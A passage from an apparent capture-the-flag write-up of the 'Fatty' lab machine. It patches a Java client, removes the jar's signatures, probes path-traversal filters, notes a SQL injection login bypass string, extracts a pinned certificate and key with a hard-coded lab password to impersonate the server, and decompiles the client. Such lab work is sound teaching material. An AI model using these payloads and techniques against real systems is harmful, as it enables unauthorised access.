class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08.png\" alt=\"\" class=\"wp-image-15435\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>This does not look too bad! At least the client is starting already. However, once we hit the login button, we will get the expected connection error.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15437,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09.png\" alt=\"\" class=\"wp-image-15437\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>We can use&nbsp;<em>wireshark<\/em>&nbsp;to understand what the client is trying to do after hitting the login button:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15439,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10-1024x156.png\" alt=\"\" class=\"wp-image-15439\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, it already fails on the&nbsp;<em>DNS&nbsp;<\/em>lookup. The client connects per default to&nbsp;<code>server.fatty.htb<\/code>, which is not resolvable by the&nbsp;<em>DNS&nbsp;<\/em>server. The easiest fix is to add this entry to the<code>\/etc\/hosts<\/code>&nbsp;file, but also in this case, we will get still a connection error.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15620,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-1-1024x142.png\" alt=\"\" class=\"wp-image-15620\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the client tries to connect to port&nbsp;<code>8000<\/code>&nbsp;of the remote server. This is exactly the behavior described in the&nbsp;<code>note.txt<\/code>&nbsp;file and it seems that we need to patch the client manually to correct this (we could also cheat and use e.g.&nbsp;<em>iptables&nbsp;<\/em>with a&nbsp;<em>d-nat<\/em>&nbsp;rule to redirect the network traffic to the correct port, but patching the client creates probably the same amount of effort).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patching properties like the&nbsp;<em>hostname&nbsp;<\/em>or<em>&nbsp;port number<\/em>&nbsp;of the remote server has usually not to be done inside the decompiled&nbsp;<em>Java&nbsp;<\/em>code. Most developers are aware that these values can change over time and allow to set them using configuration files. In the context of&nbsp;<em>Java<\/em>,&nbsp;<code><em>.<\/em>properties<\/code>&nbsp;files are a common place to store such information and they are stored as plain text files inside a&nbsp;<em>.jar<\/em>. Extracting the contents of the&nbsp;<em>.jar<\/em>&nbsp;file, modifying the&nbsp;<em>.properties<\/em>&nbsp;files and repacking the&nbsp;<em>.jar<\/em>&nbsp;file is therefore usually enough to apply small patches.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in the introduction, we can extract the contents of the&nbsp;<em>.jar<\/em>&nbsp;file using the&nbsp;<code>unzip<\/code>&nbsp;command. After the contents are extracted, we can simply use&nbsp;<code>grep<\/code>&nbsp;over the different files and search for either the hostname&nbsp;<code>server.fatty.htb<\/code>&nbsp;or the port number 8000. To speed up the process, we can also exclude all files with a&nbsp;<em>.class<\/em>&nbsp;ending.pentester@kali:~\/$ unzip -d unzipped\/ fatty-client.jar pentester@kali:~\/$ grep -E -R \"server.fatty.htb|8000\" --exclude *.class unzipped\/unzipped\/beans.xml: &lt;constructor-arg index=\"0\" value = \"server.fatty.htb\"\/&gt;unzipped\/beans.xml: &lt;constructor-arg index=\"1\" value = \"8000\"\/&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see we find the corresponding configuration options inside the&nbsp;<code>beans.xml<\/code>&nbsp;file. Furthermore, this does indicate that the client is using the&nbsp;<em>Spring framework<\/em>, since we know the file format of&nbsp;<code>beans.xml<\/code>&nbsp;from our short&nbsp;<em>Spring<\/em>&nbsp;introduction.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the hostname&nbsp;<code>server.fatty.htb<\/code>&nbsp;was already set in our&nbsp;<code>\/etc\/hosts<\/code>file, we only need to reconfigure the port to&nbsp;<em>1337<\/em>,&nbsp;<em>1338<\/em>&nbsp;or&nbsp;<em>1339<\/em>. Then we can repack the&nbsp;<em>.jar<\/em>&nbsp;file again and check whether the login is working.pentester@kali:~\/unzipped$ zip -r -0 fatty-client.jar *pentester@kali:~\/unzipped$ java -jar fatty-client.jar<strong>Exception<\/strong> in thread \"AWT-EventQueue-1\" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336) at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195) at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:128) at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:94) [...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Hm\u2026 An exception occurs once we hit the login button. The core of this exception is the error message:&nbsp;<code>SHA-256 digest error for beans.xml<\/code>. From the&nbsp;<em>fat client introduction<\/em>&nbsp;we know that this error is caused by a signature mismatch inside of a signed&nbsp;<em>.jar<\/em>&nbsp;file. It seems that&nbsp;<em>fatty-client.jar<\/em>&nbsp;was signed and by modifying the&nbsp;<code>beans.xml<\/code>&nbsp;file, we have caused an invalid signature inside the&nbsp;<em>.jar<\/em>&nbsp;file. Fortunately, we know already how to patch this.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We go back to the unzipped contents and open the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file. Indeed, we will see some signatures:pentester@kali:~\/unzipped$ cat META-INF\/MANIFEST.MF | head -n 20Manifest-Version: 1.0Archiver-Version: Plexus ArchiverBuilt-By: rootSealed: <strong>True<\/strong>Created-By: Apache Maven 3.3.9Build-Jdk: 1.8.0_222Main-Class: htb.fatty.client.run.StarterName: META-INF\/maven\/org.slf4j\/slf4j-log4j12\/pom.propertiesSHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z\/hdj03XNhHx3C\/pZbEp4Cw=Name: org\/springframework\/jmx\/export\/metadata\/ManagedOperationParameter.classSHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf\/FD9h2AMOntcgw=[...]<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We just delete all of these signatures and additionally remove the files&nbsp;<code>1.RSA<\/code>and&nbsp;<code>1.SF<\/code>&nbsp;from the&nbsp;<code>META-INF<\/code>&nbsp;folder.pentester@kali:~\/unzipped$ cat META-INF\/MANIFEST.MF | head -n 8 | tee META-INF\/MANIFEST.MFManifest-Version: 1.0Archiver-Version: Plexus ArchiverBuilt-By: rootSealed: <strong>True<\/strong>Created-By: Apache Maven 3.3.9Build-Jdk: 1.8.0_222Main-Class: htb.fatty.client.run.Starterpentester@kali:~\/unzipped$ rm META-INF\/1.RSA &amp;&amp; rm META-INF\/1.SF<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When we now repack the unzipped contents to a&nbsp;<em>.jar<\/em>&nbsp;file again, the resulting&nbsp;<em>.jar<\/em>is no longer signed and should start without any problems:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15443,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/12.png\" alt=\"\" class=\"wp-image-15443\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"exploring-the-client\">3.3 \u2013 Exploring the Client<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we have access to the client, we should take a look at its functionalities. The general structure of the client is quite easy. It opens a giant text box in the middle of the window and provides an&nbsp;<code>open<\/code>&nbsp;and&nbsp;<code>clear<\/code>button at the bottom. Clicking these buttons at the moment seems to be useless, since the&nbsp;<code>clear<\/code>&nbsp;button does nothing and the&nbsp;<code>open<\/code>&nbsp;button spawns an error message:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15446,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/13.png\" alt=\"\" class=\"wp-image-15446\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>The main functionality of the client seems to be accessible by using the menu bar at the top. Each menu item does open a drop down, which contains certain functions exposed by the client. Unfortunately, it seems like some of the functions are not accessible for our current account, since they are disabled inside the graphical user interface of the client. Here is a list of functions that we can invoke:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>File<ul><li>Exit<\/li><\/ul><\/li><li>Profile<ul><li>Whoami<\/li><\/ul><\/li><li>ServerStatus<\/li><li>FileBrowser<ul><li>Configs<\/li><li>Notes<\/li><li>Mail<\/li><\/ul><\/li><li>ConnectionTest<ul><li>Ping<\/li><\/ul><\/li><li>Help<ul><li>Contact<\/li><li>About<\/li><\/ul><\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>Let\u2019s start with the&nbsp;<code>whoami<\/code>&nbsp;function. This function simply prints some short information about our current user onto the text box. We can see that our username is&nbsp;<code>qtc<\/code>&nbsp;and our role is&nbsp;<code>user<\/code>. This explains why some of the client functionalities are not usable for us, as they are probably only accessible for users with a higher privileged role.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15450,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/whoami.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/whoami.png\" alt=\"\" class=\"wp-image-15450\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>More interesting is the&nbsp;<code>FileBrowser<\/code>&nbsp;functionality. When selecting one of the drop down fields, we get a list of filenames that are probably stored on the remote server:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15452,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/14.png\" alt=\"\" class=\"wp-image-15452\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Functions to list files on a remote server are often prone to&nbsp;<em>path-traversal<\/em>attacks. However, currently we are not able to control any folder names that are used for the listing and therefore unable to check for this kind vulnerability. But wait! Do you remember the error from the&nbsp;<code>open<\/code>&nbsp;button? It said that we need to list some folder first. Maybe we can now use the&nbsp;<code>open<\/code>&nbsp;button to open one of the listed files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15456,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/15.png\" alt=\"\" class=\"wp-image-15456\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Indeed! By entering one of the listed filenames inside the input field and hitting the&nbsp;<code>open<\/code>&nbsp;button, the contents of that file are displayed inside of the text box. Since we have now user controlled input that is used to open a file, we can try to exploit a<em>&nbsp;path-traversal vulnerability<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15458,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/16.png\" alt=\"\" class=\"wp-image-15458\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Well, not what we want but at least a partial success. The client filtered our input but does respond with an error message that contains an internal path on the server. First of all, this tells us that we are really fetching files from the file system of the remote server. Furthermore, we may be able to use the error message to determine which kind of filtering is applied. Maybe the filtering is done in a vulnerable way and we are still able to fetch arbitrary files?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To determine the kind of filtering, two different queries are sufficient. First of all we try the following:Payload: ..Response: [-] Failed to <strong>open<\/strong> file '\/opt\/fatty\/files\/configs\/..'.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So the&nbsp;<code>..<\/code>&nbsp;does not cause any problems and the server does not reject it. Now we try the following payload:Payload: ..\/Response: [-] Failed to <strong>open<\/strong> file '\/opt\/fatty\/files\/configs'.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the server has stripped our payload. It looks like the server is filtering the sequence&nbsp;<code>\/..\/<\/code>&nbsp;and by using some other payloads you can confirm this behavior. Such a filtering can sometimes be bypassed by using a payload like:&nbsp;<code>.\/.\/..\/.\/<\/code>, but in this case the filter seems to be applied recursively until all&nbsp;<code>\/..\/<\/code>&nbsp;sequences are removed.&nbsp;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, we can still hope to find something interesting inside the files that are listed by the&nbsp;<code>FileBrowser<\/code>&nbsp;and indeed there are a few files that contain interesting information:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>In multiple files major security issues inside the client\/server are mentioned. This tells us (spoiler alert) that there are some vulnerabilities present.<\/li><li>Inside the file&nbsp;<code>dave.txt<\/code>&nbsp;from the&nbsp;<code>Mail<\/code>&nbsp;folder,&nbsp;<em>Dave&nbsp;<\/em>is telling us that our current user account is the only one that is left inside the database. Furthermore, he mentions that administrative user accounts seem to have access to exploitable functionalities. Finally he says something about preventing a&nbsp;<em>SQL injection<\/em>&nbsp;attack by using a large timeout inside the login procedure.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Hey<\/strong> qtc, until the issues from the current pentest are fixed we have removed <strong>all<\/strong> administrative users from the database.<strong>Your<\/strong><strong>user<\/strong> account is the only one that is left. Since you have only <strong>user<\/strong> permissions, this should prevent exploitationof the other issues. Furthermore, we implemented a timeout <strong>on<\/strong> the login procedure. Time heavy SQL injection attacks aretherefore no longer possible.<strong>Best<\/strong> regards,Dave<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In our current position, the most relevant information is probably the&nbsp;<em>SQL&nbsp;<\/em>injection vulnerability inside the login procedure, but its quite unclear how to exploit it. Consider it is a kind of injection where a payload like&nbsp;<code>' or 1=1 --<\/code>lets you bypass the username and password field. Even in this case we would not benefit.&nbsp;<em>Dave&nbsp;<\/em>told us, that&nbsp;<em>qtc&nbsp;<\/em>is the only account which is left inside the database and therefore such an injection would only allow us to login as&nbsp;<em>qtc<\/em>. Extracting other information using the&nbsp;<em>SQLi&nbsp;<\/em>seems also not to be possible due to the timeout. During the first login you may have noticed a delay of about 5 seconds. Using some blind&nbsp;<em>SQLi&nbsp;<\/em>to exfiltrate information with a delay of 5 seconds seems not to be a good approach. So lets keep all this information and mind and look at the rest of the client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The rest of the accessible client functionality looks quite boring. The&nbsp;<code>Ping<\/code>function does only reply with a&nbsp;<em>Pong<\/em>&nbsp;message and the functions contained in the&nbsp;<code>Help<\/code>&nbsp;drop down do only print some information about the client. Hm\u2026 So what is the next step?<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"inspecting-network-traffic\">3.4 \u2013 Inspecting the Network Traffic<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in the&nbsp;<em>fat client<\/em>&nbsp;introduction, inspecting the network traffic is always worth a try. If we are lucky, we will find that communication is done using a known protocol like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML&nbsp;<\/em>and we can easily intercept and modify messages. So lets look at the wireshark dump of the login process:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15634,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-2.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-2-1024x290.png\" alt=\"\" class=\"wp-image-15634\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the network traffic is&nbsp;<em>TLS&nbsp;<\/em>encrypted and we can not view the plaintext data. Using the fact that&nbsp;<code>fatty-client.jar<\/code>&nbsp;is run by our own user and that we have root privileges on our machine, it is certainly possible to dump the required&nbsp;<em>TLS&nbsp;<\/em>keys in order to decrypt the traffic. However, there is one easier thing that we can try. We simply change the entry for&nbsp;<code>server.fatty.htb<\/code>&nbsp;in our&nbsp;<code>\/etc\/hosts<\/code>&nbsp;file and let it point to our own host. Then we open a&nbsp;<em>TLS&nbsp;<\/em>listener and check how the initial login message looks like. If we just open an&nbsp;<code>openssl s_server<\/code>&nbsp;with a self-signed certificate, we get the following error once the connection comes in:pentester@kali:~\/www$ openssl s_server -accept 1338 -key key.pem -cert cert.pem<strong>Using<\/strong> default temp DH parameters<strong>ACCEPT<\/strong><strong>ERROR<\/strong>140675522520192:error:14094416:SSL routines:ssl3_read_bytes:sslv3 alert certificate unknown:..\/ssl\/record\/rec_layer_s3.c:1536:SSL alert number 46shutting down SSL<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It seems that&nbsp;<code>fatty-client.jar<\/code>&nbsp;does not like our self-signed certificate. This is a common behavior of&nbsp;<em>fat clients<\/em>&nbsp;and they expect a certain server certificate from the remote server (<em>certificate pinning<\/em>). So what to do now? Among the different files that are present inside&nbsp;<em>fatty-client.jar<\/em>, you may noticed a file&nbsp;<code>fatty.p12<\/code>. This is a<em>&nbsp;key store file<\/em>, that is used to store certificates. These are probably used by the&nbsp;<em>fat client<\/em>&nbsp;as a client-side certificate. We can extract the corresponding certificate and key by using the following commands:pentester@kali:~\/www$ openssl pkcs12 -nodes -in fatty.p12 -out fatty.certpentester@kali:~\/www$ openssl pkcs12 -nocerts -in fatty.p12 -out fatty.key<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The extraction will require a password, but this needs to be present inside the source code of&nbsp;<code>fatty-client.jar<\/code>, since the clients needs access to the key store. In the next section, where we decompile the client, you can verify that the password can be found inside of the class&nbsp;<code>htb.fatty.shared.connection.TrustedFatty<\/code>&nbsp;and has a value of<br><code>secureclarabibi123<\/code>. If you inspect the extracted certificate, you will notice that it is exactly the same that the server is using. Opening a&nbsp;<em>s_server<\/em>&nbsp;instance with the&nbsp;<code>fatty.cert<\/code>&nbsp;and&nbsp;<code>fatty.key<\/code>&nbsp;should therefore work fine:pentester@kali:~\/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert <strong>ACCEPT<\/strong>-----BEGIN SSL SESSION PARAMETERS-----MHoCAQECAgMDBALAKAQgmEz\/z23g\/28vbRokQbJGSy\/cfmF9orUA8YqL05QMw70E<strong>MGgqHQdtmXDSVp19dySbjvqvC0eUtFVWlVX64UiVm6ZJsHb6AI2ZQ0HYIw4EGY0D<\/strong>96EGAgRdlX\/nogQCAhwgpAYEBAEAAACtAwIBAQ==-----END SSL SESSION PARAMETERS-----<strong>Shared<\/strong> ciphers:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:AES256-SHA256:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:AES128-SHA:DHE-RSA-AES128-SHA:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:AES256-GCM-SHA384:DHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256<strong>Signature<\/strong> Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224:ECDSA+SHA1:RSA+SHA1:DSA+SHA1<strong>Shared<\/strong> Signature Algorithms: ECDSA+SHA512:RSA+SHA512:ECDSA+SHA384:RSA+SHA384:ECDSA+SHA256:RSA+SHA256:DSA+SHA256:ECDSA+SHA224:RSA+SHA224:DSA+SHA224<strong>Supported<\/strong> Elliptic Curve Point Formats: uncompressed<strong>Supported<\/strong> Elliptic Groups: P-256:P-384:P-521:K-283:B-283:K-409:B-409:K-571:B-571:secp256k1<strong>Shared<\/strong> Elliptic groups: P-256:P-384:P-521---<strong>No<\/strong> server certificate CA names sent<strong>CIPHER<\/strong> is ECDHE-RSA-AES256-SHA384<strong>Secure<\/strong> Renegotiation IS supported<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>We now get an incoming connection, but nothing is sent by&nbsp;<code>fatty-client.jar<\/code>. Well, seems like the server has to do the first step and we can try to enter some stuff in our&nbsp;<em>s_server<\/em>&nbsp;terminal. If we just enter a random string we get a&nbsp;<em>Connection Error<\/em>&nbsp;by&nbsp;<code>fatty-client.jar<\/code>. So&nbsp;<code>fatty-client.jar<\/code>probably expects some structured input. To determine the corresponding format, we can just connect to the application server using&nbsp;<code>openssl s_client<\/code>&nbsp;and check what the original server is sending:pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.174:1337Can't use SSL_get_servernamedepth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nononoverify error:num=18:self signed certificateverify return:1depth=0 C = DE, ST = Here, L = There, O = Fatty, OU = FatClient Development, CN = Mr. Secure, emailAddress = secure@nonexistend.nononoverify return:1\ufffd\ufffd\ufffd\ufffd\ufffdn\ufffd\ufffdIa{\ufffd\ufffd;\ufffd\ufffd\ufffd\ufffd\ufffdK8\ufffdS\/\u057d\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd!\ufffd\ufffd\ufffd\ufffd)BEH\u00cdrv\ufffdqR\ufffd2\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd\ufffdV\ufffd\ufffd\ufffd\ufffdwo%\ufffd\ufffdVN\ufffd\ufffd\ufffd\ufffdR\ufffdl\ufffdh%I\ufffd\ufffd\ufffd\ufffd\ufffd\u02f3\ufffd^\ufffd\ufffd\ufffd\ufffd\ufffd\ufffd]\ufffd\u0328\ufffd\ufffd+\u0335\uee7f{*\ufffd7f7b\ufffd\ufffd\ufffd<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Urgh. This already looks like a binary protocol. However, one can notice that the actual output changes on each connection. So maybe it is sufficient to present&nbsp;<em>fatty-client.jar<\/em>&nbsp;some input with the same length? Lets try it:pentester@kali:\/www$ openssl s_client -quiet -connect 10.10.10.174:1337 2&gt; \/dev\/null &gt; filepentester@kali:\/www$ wc -c file128 filepentester@kali:~\/www$ openssl s_server -accept 1338 -key fatty.key -cert fatty.cert[...]<strong>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA<\/strong>\ufffd\ufffd\"W\ufffd\ufffd0R\ufffdoD\ufffdWwk\ufffd\ufffdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\ufffd\ufffd'\ufffd\ufffdDqtc:5A67EA356B858A2318017F948BA505FD867AE151D6623EC32BE86E9C688BF046<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The response of&nbsp;<em>fatty-client.jar<\/em>&nbsp;is quite interesting. It seems to reflect the 128 characters that we have sent together with some binary data and the login information. While the username is transmitted in plain text, the password seems to be hashed. Unfortunately, from the first two messages we do not see any standard protocols like&nbsp;<em>HTTP&nbsp;<\/em>or&nbsp;<em>XML<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"decompiling-fatty\">3.5 \u2013 Decompiling Fatty<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:separator -->\n<hr class=\"wp-block-separator\"\/>\n<!-- \/wp:separator -->\n\n<!-- wp:paragraph -->\n<p>So far we have identified some interesting stuff inside the client, but were not able to exploit anything. It is now time to leave the graphical user interface behind and to write our own client. Using a own client implementation we may be able to do the following things:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>The graphical user interface of the client had disabled a lot of functions for our user account&nbsp;<em>qtc<\/em>. Using our own client, we may be able to invoke these functions manually, without having a proper user role.<\/li><li>When using the&nbsp;<code>open<\/code>&nbsp;button, we noticed that our input gets filtered regarding the sequence&nbsp;<code>\/..\/<\/code>. This filtering is may applied on the client side and can be skipped when using a own client implementation.<\/li><li>There is a possible&nbsp;<em>SQLi&nbsp;<\/em>vulnerability inside the login procedure of the client. Even if we identify the correct syntax to exploit it, there is a 5 seconds delay on the login function, which makes data extraction difficult. Maybe this delay is also implemented on the client side and we can bypass it by using our own client.<\/li><\/ul>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>In order to write a own client, we need first of all access to the source code of the original&nbsp;<em>fatty&nbsp;<\/em>client. Therefore, we will now use a decompiler to restore the source code of the&nbsp;<code>fatty-client.jar<\/code>&nbsp;file. As already said in the&nbsp;<em>fat client introduction<\/em>, the selection of decompiler is a matter of choice. I usually prefer the&nbsp;<a href=\"https:\/\/www.benf.org\/other\/cfr\/\" target=\"_blank\" rel=\"noreferrer noopener\">CFR Decompiler<\/a>&nbsp;and the following command line shows you how to decompile&nbsp;<code>fatty-client.jar<\/code>&nbsp;by using&nbsp;<code>cfr-0.146.jar<\/code>.pentester@kali:~\/$ mkdir decompiledpentester@kali:~\/$ java -jar cfr-0.146.jar --outputpath .\/decompiled fatty-client.jar<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The code that is relevant for us is now located inside of&nbsp;<code>.\/decompiled\/htb<\/code>and I recommend to open this folder by using a tool like e.g.&nbsp;<a href=\"https:\/\/code.visualstudio.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Visual Studio Code<\/a>. We can now start to investigate the source code and to build our own client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"own-fatty-client\">3.6 